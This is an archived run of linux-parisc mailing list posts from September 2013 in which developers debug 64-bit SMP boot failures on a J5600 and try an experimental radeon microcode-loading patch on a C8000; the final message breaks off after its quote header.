 <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28>
 <20130904140705.GA30223@glitch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1378304929 27919 80.91.229.3 (4 Sep 2013 14:28:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Sep 2013 14:28:49 +0000 (UTC)
To: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 04 16:28:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHE4h-0005Xf-CY
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Sep 2013 16:28:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762656Ab3IDO2v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Sep 2013 10:28:51 -0400
Original-Received: from mail-ee0-f50.google.com ([74.125.83.50]:36872 "EHLO
	mail-ee0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1762652Ab3IDO2u (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Sep 2013 10:28:50 -0400
Original-Received: by mail-ee0-f50.google.com with SMTP id d51so223275eek.37
        for <linux-parisc@vger.kernel.org>; Wed, 04 Sep 2013 07:28:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:subject:message-id:mail-followup-to:references
         :mime-version:content-type:content-disposition:in-reply-to;
        bh=e4SkLWKixkhEbjvaURRQYVa8NWoaXD99ptcy+Y6QY0c=;
        b=NC85fb2Vdnn4Qzic/E6hULtqN1u1sludMnCrkHtjAKK144J5p4QJesXLAU7s7yvNUp
         3a3nUprvyTixoJZBbxnz3FaZP0qNQhbEyln+d+1g2fEhv7mybuR15R8HljQ3cpCy/TtB
         VdijvibEDCj+tvRceTsiltGNd9GjaY3Trr3WBzNlgdbynoh2DziL5IlMVILJRltWG5er
         oqdIXALsrrISXRX8jTBSYTiSYlKVfnooPDIk6U+f72+vYdRkGnXo/3+Ihgcckxm/Qx+4
         QISHvxBiaQ9uYUqNTD7NTN5x65Nk9qFOuK9RZcCWRwN4jl0BJPcHRSyfPj4pbVUZOyxK
         W3yg==
X-Received: by 10.15.64.1 with SMTP id n1mr5288376eex.15.1378304929488;
        Wed, 04 Sep 2013 07:28:49 -0700 (PDT)
Original-Received: from glitch (j115181.upc-j.chello.nl. [24.132.115.181])
        by mx.google.com with ESMTPSA id f49sm40463956eec.7.1969.12.31.16.00.00
        (version=TLSv1.2 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 04 Sep 2013 07:28:48 -0700 (PDT)
Original-Received: by glitch (Postfix, from userid 1000)
	id AB4F73C0552; Wed,  4 Sep 2013 16:28:47 +0200 (CEST)
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <20130904140705.GA30223@glitch>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5297
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5297>

On Wed, Sep 04, 2013 at 04:07:05PM +0200, Domenico Andreoli wrote:
> On Wed, Sep 04, 2013 at 10:13:09AM +0200, Helge Deller wrote:
> > Hi Domenico,
> 
> Helge,
> 
> > > J5600 is SMP capable in both 32bit and 64bit mode.
> > > mine doesn't boot 64bit SMP since 2.6.22. I've never been able to trace
> > > it down but can confirm it happens also on more recent kernels.
> > 
> > Could you please try a 64bit-SMP (stable series) 3.10 or 3.11 kernel?
> > I'm pretty sure your machine should now boot and work with a 64bit SMP kernel.
> > If not, please send your bootlog so that we can try to analyze.
> 
> yes, indeed. I realized aftewards I could have been more informative
> here. thanks for supporting :)
> 
> I confirm that smp parisc64 v3.11 doesn't bring up both the cpus on my
> system but at least it boots one, something that didn't happen in some
> darker moments since 2.6.22.
> 
> similar "SMP: CPU:1 is stuck." happens also with debian v3.10-parisc64-smp kernel.

BTW, this is the most detailed investigation I'm aware of:

https://lkml.org/lkml/2008/4/20/251

thanks,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Does there exists any 32bit-only PARISC SMP machines?
Date: Wed, 04 Sep 2013 11:41:03 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <5227548F.5090909@bell.net>
References: <521F9848.4010404@gmx.de> <1377830541.2331.5.camel@dabdike> <20130903155643.GA1430@glitch> <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28> <20130904140705.GA30223@glitch> <20130904142847.GA2893@glitch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378309257 18285 80.91.229.3 (4 Sep 2013 15:40:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Sep 2013 15:40:57 +0000 (UTC)
To: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 04 17:40:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHFCU-0007eZ-Bn
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Sep 2013 17:40:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934868Ab3IDPk5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Sep 2013 11:40:57 -0400
Original-Received: from smtp1.primus.ca ([209.216.129.80]:60214 "EHLO mail-07.primus.ca"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S935145Ab3IDPk4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Sep 2013 11:40:56 -0400
Original-Received: from i216-58-24-141.cybersurf.com ([216.58.24.141] helo=[192.168.0.181])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1VHFCQ-0000Rd-21; Wed, 04 Sep 2013 11:40:54 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8
In-Reply-To: <20130904142847.GA2893@glitch>
X-Authenticated: danglin-lux@magma.ca - i216-58-24-141.cybersurf.com ([192.168.0.181]) [216.58.24.141]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5298>

On 9/4/2013 10:28 AM, Domenico Andreoli wrote:
> BTW, this is the most detailed investigation I'm aware of:
>
> https://lkml.org/lkml/2008/4/20/251
I have the sense that MEM_RENDEZ_HI may not be set correctly for your 
machine:

         /* Set the smp rendezvous address into page zero.
         ** It would be safer to do this in init_smp_config() but
         ** it's just way easier to deal with here because
         ** of 64-bit function ptrs and the address is local to this file.
         */
         load32          PA(smp_slave_stext),%r10
         stw             %r10,0x10(%r0)  /* MEM_RENDEZ */
         stw             %r0,0x28(%r0)   /* MEM_RENDEZ_HI - assume addr 
< 4GB */

This is possibly due to a change in memory range detection:

--- dmesg.txt 2008-04-21 11:19:16.000000000 +0200
+++ dmesg2.txt 2008-04-21 15:27:46.000000000 +0200
@@ -1,6 +1,7 @@
-Linux version 2.6.22-3-parisc64-smp (Debian 2.6.22-6) (maks@debian.org) 
(gcc version 4.1.3 20071019 (prerelease) (Debian 4.1.2-17)) #2 SMP Mon 
Nov 12 21:04:20 CET 2007
+Linux version 2.6.25 (cavok@ska) (gcc version 4.1.3 20080308 
(prerelease) (Debian 4.1.2-21)) #8 SMP Mon Apr 21 12:25:50 CES8
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
+console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008 
000000b2 000000b2
@@ -8,41 +9,28 @@
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/J5600
-Memory Ranges:
- 0) Start 0x0000000000000000 End 0x00000000efffffff Size 3840 MB
- 1) Start 0x00000010f0000000 End 0x00000010ffffffff Size 256 MB
-Total Memory: 4096 MB
-initrd: 7fa75000-7ffee77e
-initrd: reserving 3fa75000-3ffee77e (mem_max 100000000)
-On node 0 totalpages: 983040
- Normal zone: 13440 pages used for memmap
- Normal zone: 0 pages reserved
- Normal zone: 969600 pages, LIFO batch:31
-On node 1 totalpages: 65536
- Normal zone: 896 pages used for memmap
- Normal zone: 0 pages reserved
- Normal zone: 64640 pages, LIFO batch:15
+Total Memory: 3840 MB

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Wed, 4 Sep 2013 22:34:04 +0400
Lines: 89
Approved: news@gmane.org
Message-ID: <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.5 \(1508\))
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1378319649 14817 80.91.229.3 (4 Sep 2013 18:34:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Sep 2013 18:34:09 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 04 20:34:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHHu6-0003TP-On
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Sep 2013 20:34:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755605Ab3IDSeK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Sep 2013 14:34:10 -0400
Original-Received: from forward4l.mail.yandex.net ([84.201.143.137]:41631 "EHLO
	forward4l.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755081Ab3IDSeJ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Sep 2013 14:34:09 -0400
Original-Received: from smtp6.mail.yandex.net (smtp6.mail.yandex.net [77.88.61.56])
	by forward4l.mail.yandex.net (Yandex) with ESMTP id B3EEA1440C70;
	Wed,  4 Sep 2013 22:34:06 +0400 (MSK)
Original-Received: from smtp6.mail.yandex.net (localhost [127.0.0.1])
	by smtp6.mail.yandex.net (Yandex) with ESMTP id 60DC41640E84;
	Wed,  4 Sep 2013 22:34:06 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15])
	by smtp6.mail.yandex.net (nwsmtp/Yandex) with ESMTP id yiN7lo7muT-Y6Fi3kle;
	Wed,  4 Sep 2013 22:34:06 +0400
In-Reply-To: <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl>
X-Mailer: Apple Mail (2.1508)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5299
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5299>


02.09.2013, =D7 18:10, John David Anglin <dave.anglin@bell.net> =CE=C1=D0=
=C9=D3=C1=CC(=C1):

> You don't think it ran briefly and crashed?
>=20
> I have a thought.  The code that loads the microcode appears to be tr=
ying to load in 32-bit hunks.  Maybe
> we have a 64-bit path on the bus and we need to load the firmware in =
64-bit words.
>=20
> Dave
> --
> John David Anglin	dave.anglin@bell.net

Dave,

Am i understood you right?

--- r100.c.orig 2013-09-04 16:53:28.000000000 +0000
+++ r100.c      2013-09-04 18:28:23.000000000 +0000
@@ -1049,9 +1049,13 @@ static int r100_cp_init_microcode(struct
        return err;
 }
=20
+#define RADEON_CP_ME_RAM_DATAHL 0x07dc0x07e0
+
+void r100_mm_wregq(struct radeon_device *rdev, uint64_t reg, uint64_t =
v,
+                  bool always_indirect);
 static void r100_cp_load_microcode(struct radeon_device *rdev)
 {
-       const __be32 *fw_data;
+       const __be64 *fw_data;
        int i, size;
=20
        if (r100_gui_wait_for_idle(rdev)) {
@@ -1060,14 +1064,12 @@ static void r100_cp_load_microcode(struc
        }
=20
        if (rdev->me_fw) {
-               size =3D rdev->me_fw->size / 4;
-               fw_data =3D (const __be32 *)&rdev->me_fw->data[0];
+               size =3D rdev->me_fw->size / 8;
+               fw_data =3D (const __be64 *)&rdev->me_fw->data[0];
                WREG32(RADEON_CP_ME_RAM_ADDR, 0);
-               for (i =3D 0; i < size; i +=3D 2) {
-                       WREG32(RADEON_CP_ME_RAM_DATAH,
-                              be32_to_cpup(&fw_data[i]));
-                       WREG32(RADEON_CP_ME_RAM_DATAL,
-                              be32_to_cpup(&fw_data[i + 1]));
+               for (i =3D 0; i < size; i +=3D 1) {
+                       r100_mm_wregq(rdev, RADEON_CP_ME_RAM_DATAHL,
+                               be64_to_cpup(&fw_data[i]), false);
                }
        }
 }
@@ -4078,6 +4080,21 @@ void r100_mm_wreg(struct radeon_device *
        }
 }
=20
+void r100_mm_wregq(struct radeon_device *rdev, uint64_t reg, uint64_t =
v,
+                  bool always_indirect)
+{
+        if (reg < rdev->rmmio_size && !always_indirect)
+                writeq(v, ((void __iomem *)rdev->rmmio) + reg);
+        else {
+                unsigned long flags;
+
+                spin_lock_irqsave(&rdev->mmio_idx_lock, flags);
+                writeq(reg, ((void __iomem *)rdev->rmmio) + RADEON_MM_=
INDEX);
+                writeq(v, ((void __iomem *)rdev->rmmio) + RADEON_MM_DA=
TA);
+                spin_unlock_irqrestore(&rdev->mmio_idx_lock, flags);
+        }
+}
+
 u32 r100_io_rreg(struct radeon_device *rdev, u32 reg)
 {
        if (reg < rdev->rio_mem_size)

I'm not sure if this correct, but it didn't help.--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Wed, 04 Sep 2013 22:36:03 +0400
Lines: 115
Approved: news@gmane.org
Message-ID: <152581378319763@web27g.yandex.ru>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl> <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1378319782 15999 80.91.229.3 (4 Sep 2013 18:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Sep 2013 18:36:22 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 04 20:36:24 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHHwE-0005l7-Jm
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Sep 2013 20:36:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752276Ab3IDSgV convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Sep 2013 14:36:21 -0400
Original-Received: from forward19.mail.yandex.net ([95.108.253.144]:54113 "EHLO
	forward19.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757227Ab3IDSgG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Sep 2013 14:36:06 -0400
Original-Received: from web27g.yandex.ru (web27g.yandex.ru [95.108.253.236])
	by forward19.mail.yandex.net (Yandex) with ESMTP id CC4B4112286E;
	Wed,  4 Sep 2013 22:36:03 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web27g.yandex.ru (Yandex) with ESMTP id 5F41326E801A;
	Wed,  4 Sep 2013 22:36:03 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web27g.yandex.ru with HTTP;
	Wed, 04 Sep 2013 22:36:03 +0400
In-Reply-To: <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5300
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5300>

I meant 0x07dc07e0 not 0x07dc0x07e0 for sure...

04.09.2013, 22:34, "Alex Ivanov" <gnidorah@p0n4ik.tk>:
> 02.09.2013, =D7 18:10, John David Anglin <dave.anglin@bell.net> =CE=C1=
=D0=C9=D3=C1=CC(=C1):
>
>> =9AYou don't think it ran briefly and crashed?
>>
>> =9AI have a thought. =9AThe code that loads the microcode appears to=
 be trying to load in 32-bit hunks. =9AMaybe
>> =9Awe have a 64-bit path on the bus and we need to load the firmware=
 in 64-bit words.
>>
>> =9ADave
>> =9A--
>> =9AJohn David Anglin dave.anglin@bell.net
>
> Dave,
>
> Am i understood you right?
>
> --- r100.c.orig 2013-09-04 16:53:28.000000000 +0000
> +++ r100.c =9A=9A=9A=9A=9A2013-09-04 18:28:23.000000000 +0000
> @@ -1049,9 +1049,13 @@ static int r100_cp_init_microcode(struct
> =9A=9A=9A=9A=9A=9A=9A=9Areturn err;
> =9A}
>
> +#define RADEON_CP_ME_RAM_DATAHL 0x07dc0x07e0
> +
> +void r100_mm_wregq(struct radeon_device *rdev, uint64_t reg, uint64_=
t v,
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Abool always_indi=
rect);
> =9Astatic void r100_cp_load_microcode(struct radeon_device *rdev)
> =9A{
> - =9A=9A=9A=9A=9A=9Aconst __be32 *fw_data;
> + =9A=9A=9A=9A=9A=9Aconst __be64 *fw_data;
> =9A=9A=9A=9A=9A=9A=9A=9Aint i, size;
>
> =9A=9A=9A=9A=9A=9A=9A=9Aif (r100_gui_wait_for_idle(rdev)) {
> @@ -1060,14 +1064,12 @@ static void r100_cp_load_microcode(struc
> =9A=9A=9A=9A=9A=9A=9A=9A}
>
> =9A=9A=9A=9A=9A=9A=9A=9Aif (rdev->me_fw) {
> - =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Asize =3D rdev->me_fw->siz=
e / 4;
> - =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Afw_data =3D (const __be32=
 *)&rdev->me_fw->data[0];
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Asize =3D rdev->me_fw->siz=
e / 8;
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Afw_data =3D (const __be64=
 *)&rdev->me_fw->data[0];
> =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9AWREG32(RADEON_CP_ME_R=
AM_ADDR, 0);
> - =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Afor (i =3D 0; i < size; i=
 +=3D 2) {
> - =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9AW=
REG32(RADEON_CP_ME_RAM_DATAH,
> - =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=
=9A=9A=9A=9A=9A=9Abe32_to_cpup(&fw_data[i]));
> - =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9AW=
REG32(RADEON_CP_ME_RAM_DATAL,
> - =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=
=9A=9A=9A=9A=9A=9Abe32_to_cpup(&fw_data[i + 1]));
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Afor (i =3D 0; i < size; i=
 +=3D 1) {
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Ar=
100_mm_wregq(rdev, RADEON_CP_ME_RAM_DATAHL,
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=
=9A=9A=9A=9A=9A=9A=9Abe64_to_cpup(&fw_data[i]), false);
> =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A}
> =9A=9A=9A=9A=9A=9A=9A=9A}
> =9A}
> @@ -4078,6 +4080,21 @@ void r100_mm_wreg(struct radeon_device *
> =9A=9A=9A=9A=9A=9A=9A=9A}
> =9A}
>
> +void r100_mm_wregq(struct radeon_device *rdev, uint64_t reg, uint64_=
t v,
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Abool always_indi=
rect)
> +{
> + =9A=9A=9A=9A=9A=9A=9Aif (reg < rdev->rmmio_size && !always_indirect=
)
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Awriteq(v, ((void __iom=
em *)rdev->rmmio) + reg);
> + =9A=9A=9A=9A=9A=9A=9Aelse {
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Aunsigned long flags;
> +
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Aspin_lock_irqsave(&rde=
v->mmio_idx_lock, flags);
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Awriteq(reg, ((void __i=
omem *)rdev->rmmio) + RADEON_MM_INDEX);
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Awriteq(v, ((void __iom=
em *)rdev->rmmio) + RADEON_MM_DATA);
> + =9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9A=9Aspin_unlock_irqrestore=
(&rdev->mmio_idx_lock, flags);
> + =9A=9A=9A=9A=9A=9A=9A}
> +}
> +
> =9Au32 r100_io_rreg(struct radeon_device *rdev, u32 reg)
> =9A{
> =9A=9A=9A=9A=9A=9A=9A=9Aif (reg < rdev->rio_mem_size)
>
> I'm not sure if this correct, but it didn't help.--
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at =9Ahttp://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Fix interrupt routing for C8000 serial ports
Date: Wed, 04 Sep 2013 22:51:02 +0400
Lines: 18
Approved: news@gmane.org
Message-ID: <165661378320662@web27g.yandex.ru>
References: <20130730000216.94DB91D232@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378320667 26491 80.91.229.3 (4 Sep 2013 18:51:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Sep 2013 18:51:07 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 04 20:51:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHIAW-0004NW-8q
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Sep 2013 20:51:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755814Ab3IDSvH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Sep 2013 14:51:07 -0400
Original-Received: from forward18.mail.yandex.net ([95.108.253.143]:60681 "EHLO
	forward18.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755007Ab3IDSvG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Sep 2013 14:51:06 -0400
Original-Received: from web27g.yandex.ru (web27g.yandex.ru [95.108.253.236])
	by forward18.mail.yandex.net (Yandex) with ESMTP id E081717827DE;
	Wed,  4 Sep 2013 22:51:03 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web27g.yandex.ru (Yandex) with ESMTP id 65E5F26E801A;
	Wed,  4 Sep 2013 22:51:03 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web27g.yandex.ru with HTTP;
	Wed, 04 Sep 2013 22:51:02 +0400
In-Reply-To: <20130730000216.94DB91D232@solo.franken.de>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5301
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5301>

30.07.2013, 05:00, "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>:
